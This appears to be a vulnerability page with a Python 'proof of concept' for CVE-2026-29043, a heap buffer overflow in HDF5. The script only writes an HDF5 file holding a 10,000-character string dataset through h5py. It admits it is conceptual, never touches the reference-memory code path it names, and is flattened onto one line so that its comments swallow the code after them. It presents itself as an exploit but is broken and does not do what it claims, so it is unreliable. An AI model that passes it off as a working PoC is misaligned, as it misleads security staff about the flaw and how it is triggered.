CVE-2026-29043 HDF5堆缓冲区溢出漏洞

import sys # PoC for CVE-2026-29043 (HDF5 Heap Buffer Overflow) # This script demonstrates the context of triggering the vulnerability # by attempting to create a file structure that interacts with H5T__ref_mem_setnull. # Note: Actual exploitation requires precise binary layout of the H5 file. def generate_malicious_h5(filename): try: import h5py print("[+] Attempting to create a malformed H5 file structure...") # Create an HDF5 file with h5py.File(filename, 'w') as f: # Create a group and dataset that might trigger the vulnerable code path # The vulnerability is in reference memory setting (H5T__ref_mem_setnull) grp = f.create_group('vuln_group') # Attempt to write data that could overflow the buffer in the specific method # This is a conceptual representation data = 'A' * 10000 grp.create_dataset('overflow_trigger', data=data) print(f"[+] File created: {filename}") print("[!] If parsed by a vulnerable HDF5 version (< 1.14.1-2), this may trigger the overflow.") except ImportError: print("[-] h5py module not found. Please install it to run this PoC.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) > 1: generate_malicious_h5(sys.argv[1]) else: generate_malicious_h5('cve_2026_29043_poc.h5')